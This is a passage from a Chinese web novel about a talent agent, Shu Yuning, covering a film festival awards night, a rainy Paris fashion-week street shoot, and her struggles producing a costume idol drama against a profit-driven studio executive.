这次的颁奖嘉宾也十分重量级，一位是刚拿过国际影帝的男演员，另一位是斩获十年来最高票房的大导演。他们和对方过合作过几次，聊天的内容也比前几位颁奖嘉宾多。
舒誉宁紧张地心脏都快跳出胸口了，这两位前辈，还在聊天。
她在心里嘀咕：别墨迹了，赶紧颁奖啊。
“好了好了，再聊下去，观众就该骂我们了。”他们终于聊完了，想起来自己还在颁奖。
“这次获奖的导演是……”
又来了又来了，每到这种时候，他们一定会大喘气。
“名字是三个字。”
五个提名导演，名字全是三个字。
“是我很欣赏的一位青年导演。”
那一下排除了两个，还剩三个人。
“我期待他会带来更好的作品。”
这完全是句废话！到底能不能一口气说完！
“现在，我正式宣布，第34届首都电影节，最佳导演的获得者是……”
舒誉宁已经听不到任何声音了。她只是看到很多人在鼓掌，也有很多人在跟她握手，跟她说“恭喜，恭喜”。她也看到了，傅明宇走上舞台，拿起了沉甸甸的奖杯。
是他，真的是他。
傅明宇握着奖杯，看看奖杯，看看台下的她。他似乎眼眶红了，也似乎不知道该说什么。
直到颁奖嘉宾提醒他，他才磕磕绊绊地开口：“站在这里，我要感谢的人很多。但我最要感谢的是，我的经纪人。有一次我问她，为什么有最佳演员奖，最佳导演奖，就是没有最佳经纪人奖。她说，要我拿奖，记得在获奖感言里提到她就好。”
傅明宇哽咽了，他也不顾形象的，鼻涕眼泪一抹，带着哭腔接着说。
“在认识她之前，我其实是个很糟糕的人。以为自己懂一些电影艺术的皮毛，却从不去想，我到底能为电影做些什么。是她把我从浑浑噩噩中拉了出来，一点一点教我。我在她的影响下，思考自己作为导演的职责和义务。今天这个奖，看似是对我的肯定，但我知道，她才是付出最多的那个人。这个奖，我希望是起点，是我们事业道路上的第一个里程碑。以后，我们还有很多电影要拍，很多奖要拿。我答应你，以后每次获奖，我都会提到你。谢谢各位，谢谢我的经纪人！”
终于说完了获奖感言，傅明宇对着台下，深深鞠了一躬，起身，已是泪流满面。
舒誉宁也哭得没个人形。她当时无心的一句话，傅明宇却一直记得。他说的每一个字都是真心，更是对她的承诺。
她注意到，坐在第一排的千杉也一直在抹眼泪。想必她也感触很深，一路走来，他们吃了太多的苦了。
第二个奖项是最佳男主角，也就是俗称的影帝。
影帝的获得者是本次的大热门，这是他的三封。他早就过了在这种场合激动得掉眼泪的阶段，整段获奖感言说得轻松风趣，也给了舒誉宁调整情绪的时间。
然而好不容易平复的心跳，在他下场后，再一次变得疯狂。
马上就要颁最佳女主角的奖了。
颁奖这件事，会有“大年”“小年”之分。而今年，就是神仙打架的“大年”。更有营销号吹嘘，今年是十年难遇的“超级年”。本届提名的这五个女演员，在各自的角色里，交出了最完美的答卷。对影后花落谁家这件事，从提名名单出来到现在，网友们的讨论就没停过。
也在此刻，直播观看人数达到了今晚的最高峰。
主办方自然是十分重视这个奖。按照惯例，每个奖项有两位颁奖嘉宾公布，而这次，竟然请出了三位嘉宾。
一位是这次的总评委，前几天在宴会被舒誉宁敬过酒的王总。第二位，是华语电影历史上，最年轻的大满贯影后。第三位，是上一届，拿了终身成就奖的殿堂级老艺术家。
能在这届电影节里拿到影后头衔，怕是能在电影圈封神。
近几年，无论是电影圈，还是电视圈，都更喜欢把奖颁给年轻一代。而在提名名单里，最年轻的演员便是千杉。因此，无论是业界，还是观众的讨论度，都普遍看好她。
在播放完提名片段VCR以后，王总开玩笑地说：“我看啊，都该拿。”
老艺术家也跟着附和：“问问主办方，今年的名额能不能多几个？”
赞助商自然地结果话茬，他说，下一届，一定多准备几个奖杯。
不过玩笑归玩笑，影后之所以稀缺，正是因为有且只有一个。
在万众期待下，嘉宾们打开了信封。
“哇，是她啊！我宣布，本届最佳女主角的获得者是——《断轨》，成晓！让我们恭喜她。”
这位女演员一直以来是大众眼里的实力派，这部影片在某影评网站更是拿下了9.0分这样的高分。所以她拿奖，也是众望所归。舒誉宁担忧地看着千杉。只见她坐在台下，热烈地为成晓鼓掌。成晓站了起来，先对观众席鞠躬，再与其他提名的女演员拥抱感谢。
成晓握着奖杯站在台上，哭得楚楚动人，言语里满是苦尽甘来的喜悦。
《浪潮》最后一个奖项是最佳影片奖。每届颁奖典礼，评委们会选出5部不同主题的影片入选本年度的最佳影片。
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《浪潮》能获得这个奖，符合所有人的预期。
颁奖典礼终于结束了。每年颁奖典礼都是这样，有人欢喜有人忧。
散场以后，参与人员久久没有离去。他们围着舒誉宁和傅明宇，不停地对他们祝贺，与他们合影。也鼓励着千杉，告诉她，来日方长。
舒誉宁看着千杉落寞的身影，心如刀割。
娱乐圈这样争分夺秒的地方，哪来这么多来日方长？
回去的车上，他们三个人都很沉默。傅明宇话都不敢说，只能给舒誉宁发微信。
【是不是要安慰安慰她？】
【别了。她今天听到安慰的话已经够多了。】
倒是千杉先开口：“傅导，你拿了导演奖，回去得请客。”
“肯定啊，一个月的饭钱我都包了。”
说完，她又看着窗外发呆。不大的车厢里，只能听到他们的呼吸声。
不知过了多久，舒誉宁听到了旁边传来，小声的啜泣。很快，啜泣声越来越大。最后，泣不成声。
舒誉宁听到千杉的哭声，也忍不住，跟着一起哭。她心疼地抱住千杉，有一下没一下拍着她的背。
“阿宁姐，是我太贪心了吗？”
这个问题问得所有人都不好受。傅明宇转过头去，抹了一把眼泪。舒誉宁则是拼命地摇头，告诉她，不是的。
想拿奖有什么错？怎么能认为是自己贪心呢？
她被雪藏了三年，一个女演员的职业生涯能有几个三年？好不容易熬到现在，在剧组里几十遍地NG，就为打磨一个小小的细节。她把所有的精力都倾注在这个角色上，所以，她真的很想拿这个奖。
可是事与愿违。
都说机会留给有准备的人，可是每个人都知道，这种话，骗鬼的！他们一直都在准备，可是人生里，又有几个机会？
比遥不可及更意难平的是，她本可以。
回到了酒店，千杉连妆都没卸，就倒在沙发上睡了。她太累了，身心俱疲。
这时，越天珑的电话打了过来：“千杉怎么样了？我都不敢跟她打电话，但我又很担心。”
“哭得太累，睡了。”
“哎。”越天珑叹了口气，“哭一哭也好，就怕她憋在心里。傅导那边，你记得帮我跟他说声恭喜，我、小林、青禾还有程姐，我们都很替他高兴。”
“谢谢。你那边还好吗？快杀青了吧。”
“是啊，记得来参加杀青宴。我先不跟你说，这两天大夜戏，我去忙了。”
“嗯，照顾好自己。”
这一晚上，舒誉宁一直在千杉的房间里照顾她。她刷着手机，看着粉丝们给千杉的祝福。她保存了好多粉丝剪辑的视频，等千杉醒来好给她看。告诉她，任何时候，都有好多人在爱她。
千杉一直睡到日上三竿才醒，一醒来，她蹦蹦跳跳地扑到舒誉宁背上。
“姐~”浓重的鼻音，是她哭到半夜的后遗症。
“饿不饿？我给你留了早饭。”
“对不起，让你担心了。”
一夜过去，今天又是新的开始。
“既然怕我担心，那就把早饭吃了。洗把脸，去拍下一部戏。”
前路坦荡，他们步履不停。
35. 野心与现实
晚上的收官晚宴，他们三个成了整场宴会的焦点。四个提名中了三个，还是处女作、首提，哪个词说出去，都赚足眼球。
仅仅过了三天，他们从宴会上四处敬酒的小配角，变成了被人敬酒的大主角。
傅明宇也不用一口闷了，只需要像那些领导一样，意思意思抿一口。
“小舒，我来跟你介绍一下，这是我女儿。你们慢慢聊。”李会长言而有信，这么快就把他做出品人的女儿带过来了。
“李老师，你好。”
一见舒誉宁站起来跟她握手，傅明宇也赶紧放下手里的刀叉，跟她握手。
“坐，吃个饭而已，不用这么拘谨。”
李老师说，她刚看完颁奖典礼，就马上订了机票，从广东飞过来了。
“我跟我爸说，我一定要来见一下，内娱最强经纪人到底是何方神圣。”
傅明宇那段声情并茂、涕泗横流的获奖感言，在网上炸锅了。其中不少是Vibe的粉丝。他们原本有多恨舒誉宁，现在就有多怀念她。他们这种怀念的行为，被不少吃瓜路人嘲讽了回去。
“这些都是营销号乱说的，您别往心里去。”
“但我觉得这个评价还是有道理的。我这次过来，还想问问，你们对下一部作品，有什么规划吗？”
这个便是傅明宇的主场了。他跟李老师讲了一些新电影的构思，但这仅仅是个构思，连个完整的概念都算不上。没想到就这么一个构思，直接拿下了李老师的投资。
用她的话就是——先下手为强。现在舒誉宁和傅明宇是电影圈的香饽饽，一堆出品人抢着给他们投资。哪里能想到，两年前，他们拍电影的钱，还需要舒誉宁去抵押资产换来呢？
结束了晚宴，该回去收拾一下，明天赶早班机回去。本该洗个澡早点睡，傅明宇却怎么也睡不着。
因为他好饿。
这种商务晚宴的目的不是吃饭，而是社交。菜品看起来五花八门，前菜、主菜、主食、甜品，全部都有。但每道菜只有一小勺。
为了出席这次的电影节，舒誉宁严控了他好久的饮食。这几天吃的东西，只能用来维持生命体征。别说分量了，连调料都没有。
既然舒誉宁不在，要不点个外卖？
傅明宇刷着手机的外卖平台，平时看都懒得看一眼的垃圾食品，现在光看图片都让他忍不住流口水。
纠结了半天，他点了炒粉、炸串和一杯奶茶。
点完了外卖，他内心感到无比满足，比拿到“最佳导演”奖还要快乐。
“叮咚叮咚——”门铃响了，看来是外卖到了。傅明宇一打开门，笑容僵在了嘴角。
门口不是送餐的酒店机器人，而是黑着脸的舒誉宁。
完蛋了。
“地址填到我房间了，你点完都不看一下的吗？”
什么？
死嘴，赶紧说点什么，解释一下啊！
“嗯……就是请你吃的。”
还不如什么也不说呢！
傅明宇自知多说多错，还是默默低头，等着被舒誉宁骂。
“你既然点奶茶了，为什么不给我点一杯？”
“啊？你也要吃吗？”
“我也没吃饱啊！”
一个正常饭量的成年人，都不可能在那种晚宴上吃饱。更何况，为了让他们减肥有动力，舒誉宁这个经纪人以身作则，陪着他们一起挨饿。她本来就是打算，等今天晚宴结束了，和傅明宇好好吃一顿“放纵餐”。没想到傅明宇这么大意，外卖点到她那里去了。
可见，饿肚子对智商有影响。
既然舒誉宁都这么说了，傅明宇自然轻松了不少，马上多点了奶茶和炸鸡。
“千杉不吃吗？”
“她要参加巴黎时装周，这段时间，接着饿肚子。”
可怜的娃。
现在网上有种说法，说他们是一家三口。有才华的爹，有能力的妈，千杉则是那个争气的女儿。
不过，巴黎时装周，什么时候决定的？
“刚刚，晚宴上。”
一个国际化妆品品牌是本次赞助商之一。他们的公关负责人和舒誉宁聊了几句。不过五分钟，千杉成了他们品牌的彩妆代言人，以他们在中国区唯一的代表出席本次的巴黎时装周。
“你一场宴会到底能干成多少事儿？”又是拉投资，又是参加巴黎时装周，她到底是怎么做到的？一场宴会都能这么高效。
舒誉宁每次出去都像打猎，一定会点带什么回来。
“你说对了，他们在我眼里，就是猎物。”
还是主动送上门的猎物。既然如此，作为猎人，哪有放过的道理。
“还有个男装品牌想要邀请你。我想想，算了。导演这个职业，还是要保持神秘感。”
再加上，傅明宇也不喜欢这种场合。最重要的是，他不想再挨饿了！
出席巴黎时装周的不止有千杉，还有越天珑。
千杉是看秀嘉宾，只要在红毯和秀场的观众席美美美就行了。相比之下，越天珑的任务可重要太多。
她现在是兰素的特邀模特，届时，是要穿着兰素设计的衣服上T台的。
兰素这次的身份是开场秀的唯一受邀中国设计师，多少目光聚焦在她身上。她压力大，作为模特的越天珑，压力更大。
为此，舒誉宁提前约了私人教练团队，给千杉和越天珑分别制定了健身计划。还请了退役超模，给越天珑做一对一台步指导。她现在每天穿着10公分的高跟鞋，两只脚踝和腰上绑着沙袋，在跑步机上走台。
“我是在受刑吗？”
从跑步机上下来的越天珑，颓坐在地上。深秋的季节，满头的汗。
“别急着坐，起来量一下腰围。”
还没等她喘口气，舒誉宁拿着皮尺就过来了。
“舒誉宁，我恨你！”
越天珑咬着牙，还是站了起来。测完腰围还要测体脂率，一个数值不合格，舒誉宁就不给她吃晚饭。
那种减脂餐是没什么好吃的，但好歹也是饭，多多少少能让她有种活着的感觉。
“坚持一下。很好，腰围小了一公分，体脂也掉了一个点。晚上给你加鸡腿。”
“算了吧。好不容易瘦下去的。不过你得给我记着，等我从巴黎回来，这些都要补上！”
越天珑也就是嘴上念叨，行为上还是非常敬业的。她知道自己作为艺人，拿这么高的薪资，需要付出什么。<
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p>还没去巴黎，国内各个参加的艺人，已经先在热搜榜开始竞争了。
什么某蓝血品牌亚太区唯一大使、某红血品牌全球代言人、某高定品牌指定合作艺人，各种五花八门的头衔轮番上阵。
粉丝们控评都控不过来，评论区复制粘贴的彩虹屁也都是一个样，“第一”“唯一”，基本上都是这种词。
网上看起来锣鼓喧天的，只有舒誉宁这个经纪人知道，越是在这种时候大张旗鼓的，其实心里越虚。他们只是发个通稿，蹭一些有关巴黎时装周的热度而已。真正要去的，是像她们这样，没时间发通稿的。
终于到了巴黎，这个久负盛名的时尚和艺术之都。
从机场开始，便是星光熠熠。全世界各地的艺术家、设计师、名模和知名艺人，都汇聚在这里。
开场秀还有几天。这几天舒誉宁先带着她们俩做巴黎街头逛逛，拍几组街拍，放在工作室的官博，预热。
街拍的Look主要还是休闲、随意为主。千杉选的是法式碎花长裙，越天珑调了一套oversize的缎面衬衫裤装。
穿搭体现性格。一个张扬，一个内敛，但举手投足都是独属于中国女人的自信。
最后一组街拍，舒誉宁选了巴黎街头的露天餐厅。吃什么聊什么都无所谓，随意一些都可以了。
显然，这家餐厅已经被街拍的人包圆了。舒誉宁等了许久，才在角落里找到一个空座。
餐厅的咖啡刚端上来，天气突然变了。刚刚还平静的天气，忽然狂风不止。
“不会要下雨了吧？”
人群里不知道谁冒出这么一句字正腔圆的中文，刚说完，雨水就来了。
原本还在镜头前凹造型的艺人和网红，只能找地方躲。他们被淋湿了无所谓，只是身上这些衣服都是借的，如果弄脏弄湿了，赔钱事小，被品牌方拉黑那可损失大了。
舒誉宁也想带着她们找到地方躲雨。眼下，最近的地方便是餐厅内。在露天用餐的人，都扎堆往餐厅里躲。原本空空荡荡的餐厅里，眼下挤满了人。餐厅老板告诉她们，他要关门了。
既然这样……舒誉宁看向她们：“姐妹们，敢不敢玩个大的？”
越天珑马上猜到了舒誉宁的想法，眼里闪烁着跃跃欲试的光：“你不会是想，让我们在雨里跑吧？”
“不敢吗？”
“走！”
越天珑拉着千杉，冲进了雨里。
摄影师马上举起相机，“咔咔咔”一顿猛拍。
在雨里，两个来自东方的女孩，携手在雨里奔跑。飞扬的裙摆，溅起的水花，肆意的笑容，和她们紧紧握住的双手，成了此刻巴黎街头，最美丽的画面。
这个画面触动了不少路人，他们也拿着自己的手机和相机，记录下这个绝美的一刻。
一路跑回了车里，她们才发现自己现在有多狼狈。妆花了，头发乱了，裙角和裤腿都是泥水。
“学姐，你，哈哈哈！”
“你也好不到哪里去！”
两个人笑作一团。笑够了，拿着毛巾，给对方擦拭。
舒誉宁坐在副驾驶，听到她们的笑声，也忍不住笑了。
纵使天公不作美，也不影响她们绽放美。
36. 未来与阻碍
傅明宇觉得，舒誉宁自从巴黎回来以后，有些不太对劲。
似乎，很久没有宠幸自己了。
原本想着，颁奖典礼结束，等她从巴黎回来，他们能好好过几天二人世界。自己为此准备了很久，但是正主对他并不在意。
巴黎之行，明明很顺利啊。千杉和越天珑的雨中街拍出了圈，入选了五大刊的封面，还被称为本次巴黎时装周最美的镜头之一。两个人的时尚资源现在堪称内娱之最。
那，到底还有什么可以操心的？
他看着镜子里的自己。腹肌，八块，胸肌，挺拔。最近加紧操练，效果显著。看上去，自己的形体完全符合舒誉宁的XP。
确定自己没什么问题以后，傅明宇从浴室里走了出来。
又是这个样子……
舒誉宁窝在被子里，抱着手机，嘴角挂着暧昧的笑容。
莫不是，哪个不长眼的小鲜肉在撩她？
傅导感受到了前所未有的危机。他自己什么都好，唯一跟那些小鲜肉没法儿比的就是，年龄。
俗话说得好，不会有人一直20岁，但永远有人20岁。
这点，他在健身房就感受到了。那些20出头的小伙子，稍微举举铁，就能练到他现在这个样子。
不行，不能认输，老腊肉有老腊肉的魅力。虽然不鲜嫩，但是老酒，越陈越香啊！
“阿宁，好冷啊。”
舒誉宁的目光终于离开了手机，放到了他身上。此时的傅明宇，只穿了条睡裤。
“你这样当然会冷啊。”
吐槽了一句，舒誉宁接着看手机，笑得荡漾。
“阿宁，你冷不冷？”
傅明宇欺身而上，舒誉宁嫌弃地躲开：“很热啊！”
这人刚洗完澡，身上环绕着温热的水汽，仅是靠近她，就觉得很热。
诱惑无果的傅明宇只能放弃，认命地钻进被子里，熄了灯。
黑黢黢的房间里，唯一的光源就是舒誉宁的手机。为了让自己有个舒适的角度看手机，她干脆翻了个身。这下好了，彻底背对着傅明宇。
傅明宇睁着眼，双眼空洞。挣扎了半天，问出那句狗血的问题：“你是不是不爱我了？”
舒誉宁终于转了回来：“大晚上你抽什么风？”
“对不起。”
得，这人这会儿又开启了怨夫模式。
“啪”，舒誉宁开了灯，把手机一放，坐了起来：“你怎么了？有话就说。”
“我觉得你冷落我了。”
哦，这么个事儿啊。舒誉宁算了算日子，最近确实冷落他了。
傅明宇冲舒誉宁放在枕边的手机努努嘴：“你这几天在看什么呢？”
“小说啊。”
“小说？”傅明宇心情好了不少。看小说啊，不是小鲜肉啊！那他就放心了！不过，到底什么小说，好几个晚上了，还没看完？
“这是我看的第三本。”
舒誉宁这几天一直在看小说。起因是，青禾。
“青禾看中了一部古言小说，想和作者对接版权问题，没成。”
“是费用吗？”
他们现在还有支付不了的版权费，这作者这么狮子大开口啊？
“不是，人家就不想卖。”
青禾说，这部小说她追了很久了，现在自己终于成为导演，有了经纪公司，可以跟对方谈影视化的事了。结果，人家就没想着卖。作者不忍心看着自己的小说被导演编剧糟蹋，哪怕青禾有诚意，也愿意保证。但这事儿始终有风险，作者不愿意让自己的心血承担任何风险，也情有可原。
“对作者来说，心血是无价的，我们也要尊重人家不是？”舒誉宁还是挺欣赏她的。不过，青禾这个想法，倒是提醒了她，现在公司也处于空闲的状态，可以拍一些偶像剧，扩充一下赛道。她也想借此机会，挖掘几个有潜力的偶像派演员，丰富艺人构成。
“所以，你这几天，就是在找适合影视改编的小说？”
“对。让你守活鳏了，真是不好意思呢~”
“没事没事，工作要紧，工作要紧。”
傅明宇重新钻回被子里，跟舒誉宁说，看完了就叫他，他随时准备着！
经过挑选，青禾在舒誉宁推荐的几本小说里，最后留了三本。这三本小说，各有特点，最重要的是，都有不错的影视化潜力。就是这三者选其一，青禾选不好。
“那就都买呗。”
舒誉宁一下治好了青禾的选择困难症。
“真的，姐！可是预算……”
“这有什么啊，你喜欢就买。只要人家肯卖，至于预算，不超过市场均价的20%，你都自己拿主意。”
“谢谢姐！”
前两本的小说的版权，谈得很顺利。第三本小说，出了点意外。
青禾告诉她，另一家影视公司也在争取这部小说的版权，开出的价格挺高。青禾如果要谈下来，势必会超出舒誉宁给的预算权限。
“你要是喜欢，我去试着谈谈。”
舒誉宁了解到，作者的态度一直不清不楚。看起来，倒不像是费用的问题。
青禾在中间做了不少努力，作者才同意和舒誉宁在线上聊几句。
还挺神秘。
“子夜老师您好，我是舒誉宁。青禾导演的经纪人，她委托我，和您聊一下版权方面的事情。”
对方不说话。哪怕现在的气氛有些尴尬，舒誉宁也只能硬着头皮往下说。
“子夜老师，如果您是对影视化这件事有顾虑的话，我们可以再详细规划。我们也希望，能最大限度地还原原著，这也是青禾导演的诉求。”
子夜还是不说话。
舒誉宁看了一下网络，信号也没问题啊，怎么就是不说话呢？
“子夜老师……”
“等等！”
子夜终于说话了，舒誉宁和青禾共同松了口气。
“您说。”
“你真的是舒誉宁么？我知道的那个舒誉宁？”
谁知道她知道的是哪个舒誉宁！不过，娱乐圈应该没有和她同名同姓的人。
“我想应该是的。”
“好，既然是你。我可以和你合作，但我有个请求。”
舒誉宁的直觉告诉她，这个请求会很为难她。
“我要，邵亦承做男主！”
……真是冤家路窄，竟然是邵亦承的粉丝。
舒誉宁看了一下她这部小说发表的时间，正是Vibe男团最火的时候。不过，这部小说的男主角，和邵亦承的人设，也不贴啊。
青禾有些摸不着头脑，她用口型无声地问舒誉宁：【邵亦承是谁啊？】
舒誉宁也这么回她：【一会儿跟你解释。】
子夜见她没有马上
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拒绝，自顾自地往下说：“你现在是内娱最强经纪人，让邵亦承翻红不难吧！他已经付出代价了，你还要把他赶尽杀绝吗？”
“妹妹，你弄弄清楚。把他赶尽杀绝的人不是我，是他自己。”
“那不管怎么样，他需要一个机会。”
子夜也没想到，能在影视化这件事上碰上舒誉宁。她本来就想着，哪天把书卖了，让邵亦承演自己的男主。没想到，邵亦承糊得这么快。要不是这次，这么巧碰上了舒誉宁，她也不会旧事重提。
“他们几个在污蔑我时，有想过给我机会吗？”
他们那时候，可是真的奔着让她滚出娱乐圈的想法去的。
子夜不说话了，这些事情，她不是不知道。粉丝的心理，有时候就是这么矛盾。
“我接下来的话，可能有些老套。但我还是想告诉你，你很有才华，比邵亦承那种绣花枕头有才华多了。不要拘泥于过去，糊了就是糊了。他没有这个命做你的男主角，谁也帮不了他。”
“那这件事没的谈了？”
“只要你想通了，我们随时有的谈。联系方式你有，选择权也在你。想通了，随时联系我，我可以给你高于市场均价的35%。要是你觉得不行，我不强求。挂了。”
旁听的青禾，在网上搜出了邵亦承的相关资料，也知道了他和舒誉宁的过往恩怨。她十分自责，舒誉宁这么支持她，她却连最基本的背调都不做好，害得舒誉宁难堪。
“这怎么能怪你呢？我带过他们是事实，最近也确实看到了很多他们昔日粉丝的评论。他们到现在还有这么高的粉丝粘度，只能证明，我超牛！”
这句话，让青禾的自责烟消云散。她欢天喜地地先离开了，准备那两本小说的剧本去了。
“珑珑姐好！”青禾在门口碰到了越天珑，打招呼的声音都很响亮。
“哎哟，这么开心啊！”
“你找阿宁姐是吧，那我先去忙啦！”
越天珑看着她的背影，感叹：年轻真好，她在这个年纪，也是如此的有活力。
“你找我啊？”
“嗯，有两个服装品牌想签我。这两个是竞品，问问你挑哪个。”
“放着吧，我这边还有两个版权合同要对。对完再帮你挑。”
“怎么，你还真想拍古偶？”
她能理解青禾这样的年轻导演会对古偶有兴趣，只是意外，舒誉宁也跟着挺上心。
“赚钱吗，不寒碜。”
谁不知道古偶流量大，来钱快？相比傅明宇用几年的时间打磨一部电影，有这时间，能拍十多部古偶了。
“艺术和商业，在某种程度上是可以良性搭配的。没有下里巴人，哪来阳春白雪？而且，我相信青禾，不会弄出流水线商品。”
“我不是这个意思。”越天珑也是演古偶出身，她只是担心舒誉宁不了解古偶的生态，“你带过偶像，知道偶像这群人，多么麻烦。”
“知道啊，刚刚还发生了类似的事。”舒誉宁把子夜的事情告诉给了越天珑。越天珑毫不意外，她以前演古偶的时候，还碰到有作者到剧组闹，一定不让她参演。
“明知道是火坑还往里跳。舒誉宁，我真觉得你挺疯的。”
“我还是那句话，赚钱吗，不寒碜。”
与其瞻前顾后，担心这儿担心那儿，还不如好好选择合作方，以免这种事情再发生。
37. 未来与阻碍
面试了几天的演员，舒誉宁算是知道，Vibe糊了这么久，粉丝粘度还这么高的原因了。
现在的小爱豆，审美降级也太严重了吧！
前几年，因为Vibe的爆火，各大娱乐公司一股脑地往爱豆这个圈子里挤。导致爱豆这个行业迅速溢出。再加上，内娱的舞台少得可怜，为了快速回本赚钱，公司又齐刷刷地让他们转型做演员。
可是他们这些人啊，连正规的歌舞训练都没怎么经历过，更何况表演训练？其中不少人，练了几天台词就来试镜了。
在越天珑拍古偶那阵儿，那来面试的基本上也都是专业学校的演员，优中择优。
现在，屎里淘金。果然，赚钱没这么容易！
“这个，十个字的台词能吞八个字。”
“这个，长这模样还敢试镜本朝第一美男？”
“还有这个，仪态都成问题。都一群什么牛鬼蛇神啊！”
舒誉宁把手上的资料往垃圾桶里一扔，趴在桌上，十分崩溃。
她把青禾喊了过来：“就没几个表演专业来面试的？”
“有，统一安排在下礼拜。”
这次的面试顺序，是大鹅影业安排的。他们一听说舒誉宁想要进军古偶圈，表示十分支持，马上就拿着投资过来了，还买断了发行。
只是天下没有白吃的午餐。大鹅影业这么安排的目的，就是暗示舒誉宁，尽量在爱豆这群人里挑。舒誉宁作为前爱豆经纪人，太知道大鹅影业为什么这么安排了。
还不是看中爱豆自带流量？有爱豆在，好招商、好宣传。等播出了，不管质量如何，都会有一群粉丝没日没夜地做数据。
青禾觉得很奇怪，既然舒誉宁知道大鹅影业在打什么算盘，为什么还要和大鹅影业合作呢？
“因为资本都一个样。大鹅影业算好的。”
至少制作这件事，大鹅影业给了舒誉宁充分的自由。而且，大鹅影业愿意对舒誉宁制作的影视剧，照单全收。听到这儿，青禾有点失望。舒誉宁理解她，刚刚毕业，发现现实和自己的预想有冲突，是需要时间消化的。
“哎，我当时就该听我爸妈的，不进娱乐圈的。”
“这就打退堂鼓了？你和程姐拍的那部剧，不就很好嘛？”
“都是资本，为什么程姐那样的人不能多一点呢？”
“情况不一样。我只能说，不管是不是在娱乐圈里讨生活，人不能既要、又要、还要。问心无愧就好。”
爱豆们的试镜终于结束，没有一个能入得了舒誉宁和青禾眼的。演员批次的年轻演员倒是还不错，舒誉宁挑了一男一女，把他们签到了自己公司里。青禾现在担心的是，大鹅那边还会再塞个人进来。
“一定会。”舒誉宁让她做好心理准备。这部剧最重要的是女主、男主和男二。以大鹅的尿性，极有可能塞个男一进来。
说男主，男主到。
大鹅影业的郭总监向舒誉宁推荐了一个男主演员，Eddie。听她介绍，这是当下流量最大的男爱豆。以前是大鹅旗下一个选秀团的C位。组合解散后，也和所有爱豆的发展路线一样，瞬间把参加选秀时挂在嘴边的“热爱舞台”“舞台就是我的梦想”这种话抛诸脑后，当起了演员。
拍的作品大差不差，仅粉丝可见的“大爆”古偶剧。
“你放心，我知道你是高标准、高要求的制片人。我不会介绍给你纯小白的！你们好好合作啊，有问题跟我说。”郭总监的保证，舒誉宁表示听过算过，难道还真记在脑子里不成？
纵使舒誉宁做好了最坏的打算，但是一个剧本研读会就把她打破防了。
这也太烂了！
她都不敢要求这个Eddie能字正腔圆地把台词读好，因为他连最基本的，把句子读通顺都做不到。
要不怎么说，内娱九漏鱼多呢。她面前就有一条！
这一场剧本研读会，所有人都很尴尬。那两个新签的演员，虽然表现得也没有很好。但是能看出来，专业院校培养出来的功底还在，只是缺乏表演经验。经过导演好好调教，假以时日，还是能培养出不错的演技的。
至于Eddie……青禾的脸都快埋在剧本里了，她实在是没眼看，没耳听。
“Eddie，我们该走了。青禾导演，舒制片，我们先走了！”
Eddie的经纪人是怎么回事？招呼都不打，直接闯进来把人带走了！而且剧本会才进行多久啊，怎么能说走就走？
“我们Eddie还有一部戏要拍，很忙的。谁让我们Eddie太红了呢！”
舒誉宁有种当着众人面，巴掌抽不到他脸上的懊恼。待Eddie走后，青禾哭丧着脸：“姐，我这剧，怕是完了吧！”
都说影视寒冬，怎么这种人却能源源不断地能接到戏？他们霸占了多少专业演员的机会！
演技烂就算了，能教。轧戏这种极度不敬业的行为，她要是能忍下来，她就把名字倒过来写！
“换人！我去找郭总监谈，你们继续。”
舒誉宁风风火火地跑到郭总监办公室，还没等一顿输出，就被郭总监摁下了。
“火气别这么大，你喝点果汁，慢慢说。”
“郭总，那个Eddie轧戏。我不能允许我的剧组用这样的演员，我请求换了他。”
“我知道啊。那部戏也是我推的。”
郭总监的冷静，倒显得舒誉宁小题大做。可是她明知道演员轧戏的行为一定会影响到每个剧组的正常运作，那她为什么还这样做呢？
“阿宁，你以前也带过爱豆，你知道爱豆的职业生涯有多短暂的吧？”
这她可太知道了！放眼整个娱乐圈，像Vibe那样长红的组合一只手都数得过来。更多的是，出道既糊穿地心的爱豆。以前人们喜欢用“昙花一现”这个词来形容爱豆，现在这个词都不说了。因为昙花，好歹真的绽放过。
“那‘娃娃机艺人’这个词，你听说过吧。”
舒誉宁点点头。“娃娃机艺人”指的就是Eddie这样，选秀出身的艺人。在参加选秀节目的他们，好比娃娃机里的娃娃，粉丝就像机器外面的玩家。玩家通过投币，抓娃娃。粉丝通过打投，送艺人出道。玩家在抓的过程中，需要花十几个币甚至更多，才能抓到自己心仪的娃娃。但在抓上来以后，很快就对它失去了兴趣，转头去下一台娃娃机。
选秀艺人也是如此。粉丝在打投时有多兴奋，他们在出道后，粉丝的兴趣消失得就有多快。而影视公司要做的，便是在这极短的时间里，将这只娃娃，效益最大化。
“郭总，你说的这些我都明白。但我们今天谈的，不是一码事。我要跟你谈的是，剧组的正常运作。我作为制片，这
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是我的职责。”
舒誉宁差点被郭总监带沟里去，还好她脑子清醒。
“你有你的职责，我也有我的职责。来，你来这边。”
郭总监的办公室后面，放了一块白板。白板上用马克笔，划了几块区域，每块区域上都贴着不同剧组的海报。舒誉宁他们的古偶剧，贴在最右边的位置。
“你看最左边这部剧，《光辉年代》。听说过吗？”
“听说过，献礼剧。”这部剧的主演，都是出道十五年以上的国家一级演员，拍摄周期预计15个月。这个周期在电视剧这个行业里，可谓是相当长了。
“这部剧，我们的部分要求就是，演员必须保证连续待在剧组180天以上。所有人不许用配音，且，需要得到相应角色的后辈认可。除此以外，还需要领导审核、三轮背调，才有可能出演。”
这些要求，想必只是冰山一角。献礼剧，是不讲回报只讲投入的。投入也常常是无底洞。
“那你再来看看你们的剧。拍摄周期，三个月，演员，全员新人。招商情况还不错，Eddie是个活招牌。从账面上看，已经开始盈利了。”
盈利了，这部剧的目的便达到了。这部剧的质量，跟郭总监没有关系。她只需要把财报交上去，把献礼剧的投资平掉，那她今年的KPI就是圆满完成。
“我可以给你换演员，但下一个会好吗？我不能向你保证演员的水平，我只能保证，招商会掉。”
“郭总，我明白你的意思，但……”舒誉宁语塞了，她情愿郭总监像以往遇到的那些合作方一样，跟她胡搅蛮缠。这样她可以直接翻脸。
可是郭总监，和她讲道理。让她有种，一拳挥在棉花上的无力感。
“我欣赏你对工作的态度，你的赤子之心是我没有的品质，我尊敬你。如果你今天拍正剧，我砸锅卖铁来挺你。但不好意思，你拍的是古偶，我只看盈利。”
难怪现在市面上有这么多粗制滥造的古偶剧。
难道片方不知道他们拍的是烂片吗？他们可太知道了，心里比谁都清楚。但因为是古偶，哪怕扣上了所谓S+级投资项目的名号，古偶还是古偶。赚快钱的工具罢了。
今天沟通是沟通不出什么实质性的东西了，舒誉宁也算是被好好上了一课。
